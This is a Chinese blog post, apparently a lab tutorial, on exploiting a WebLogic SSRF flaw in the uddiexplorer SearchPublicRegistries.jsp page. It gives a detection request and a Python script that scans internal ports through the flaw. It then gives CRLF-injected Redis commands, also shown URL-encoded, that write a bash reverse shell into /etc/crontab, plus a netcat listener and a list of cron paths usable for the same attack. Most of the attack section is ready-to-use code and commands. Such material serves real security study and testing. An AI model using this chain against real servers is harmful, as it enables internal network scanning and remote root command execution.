刘功瑞的博客

有一天你突然惊醒,发现这一切,都只不过是一场梦。

weblogic漏洞系列-SSRF漏洞

0x01前言:

SSRF漏洞的原理这里就不在细说了,这里主要讲解weblogic中SSRF漏洞的检测办法,以及利用手段。

0x02检测漏洞:

2.1、直接访问:http://ip:7001/uddiexplorer/ ,SSRF漏洞存在于:http://ip:7001/uddiexplorer/SearchPublicRegistries.jsp

1.png

2.2、向服务器提交以下参数

?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001


1.png

关键点是operator这个参数,访问7001端口时返回一个404的状态码。

2.3、访问一个不存在的端口会返回以下信息。

1.png

可以通过返回的信息不同,来判断端口开放的状态。

2.4、实战挖掘的过程中总共遇到过以下几种状态(referer:http://zone.secevery.com/question/121):

当我们访问一个不存在的端口时,比如 http://127.0.0.1:7000

将会返回:could not connect over HTTP to server

1.png

当我们访问存在的端口时,比如 http://127.0.0.1:7001

可访问的端口将会得到错误,一般是返回status code(如下图),如果访问的非http协议,则会返回:did not have a valid  SOAP content-type

2.png

正常我们是无法访问内网的,但是通过页面返回错误的不同,我们可以探测内网端口的开放状态,进而知道内网

开启的服务,同时加以利用

Weblogic的SSRF有一个比较大的特点,其虽然是一个“GET”请求,但是我们可以通过传入%0a%0d来注入换行符,

而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。

首先,通过ssrf探测内网中的redis服务器,应为这个漏洞是用docker环境搭建的,所以redis服务器的内网即是

docker的网段(docker环境的网段一般是172.*):

下面用一个python 小脚本来实现内网端口探测这个功能:

import thread
import time
import re
import requests


def ite_ip(ip):
    for i in range(1, 256):
        final_ip = '{ip}.{i}'.format(ip=ip, i=i)
        print final_ip
        thread.start_new_thread(scan, (final_ip,))
        time.sleep(3)


def scan(final_ip):
    ports = (
        '21', '22', '23', '53', '80', '135', '139', '443', '445', '1080', '1433', '1521', '3306', '3389', '4899',
        '8080',
        '7001', '8000', '6389', '6379')
    for port in ports:
        vul_url = 'http://192.168.0.132:7001/uddiexplorer/SearchPublicRegistries.jsp?operator=http://%s:%s&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search' % (
            final_ip, port)
        try:
            # print vul_url
            r = requests.get(vul_url, timeout=15, verify=False)
            result1 = re.findall('weblogic.uddi.client.structures.exception.XML_SoapException', r.content)
            result2 = re.findall('but could not connect', r.content)
            result3 = re.findall('No route to host', r.content)
            if len(result1) != 0 and len(result2) == 0 and len(result3) == 0:
                print '[!]' + final_ip + ':' + port
        except Exception, e:
            pass


if __name__ == '__main__':
    ip = "172.18.0"
    if ip:
        print ip
        ite_ip(ip)
    else:
        print "no ip"


1.png

经过探测,我们发现了内网的一个IP存在6379端口,也就是redis服务:

我们这里要发送几行代码

发送三条redis命令,将弹shell脚本写入/etc/crontab:

set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/172.18.0.1/21 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save

把这三条命令通过get包注入进去,先要将命令用url进行编码

注意,换行符是“\r\n”,也就是“%0D%0A”

test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.19.0.1%2F21%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa

然后我们把构造好的数据包通过burp进行发送 , 将url编码后的字符串放在ssrf的域名后面,发送:

1.png

接着靶机上开启端口监听,nc -lvnp 21 ,反弹shell。成功。


1.png

最后补充一下,可进行利用的cron有如下几个地方:

  • /etc/crontab 这个是肯定的

  • /etc/cron.d/* 将任意文件写到该目录下,效果和crontab相同,格式也要和/etc/crontab相同。漏洞利用这个目录,可以做到不覆盖任何其他文件的情况进行弹shell。

  • /var/spool/cron/root centos系统下root用户的cron文件

  • /var/spool/cron/crontabs/root debian系统下root用户的cron文件

 



发表评论:

Powered By Z-BlogPHP 1.5.2 Zero

Copyright www.liugongrui.com.All Rights Reserved.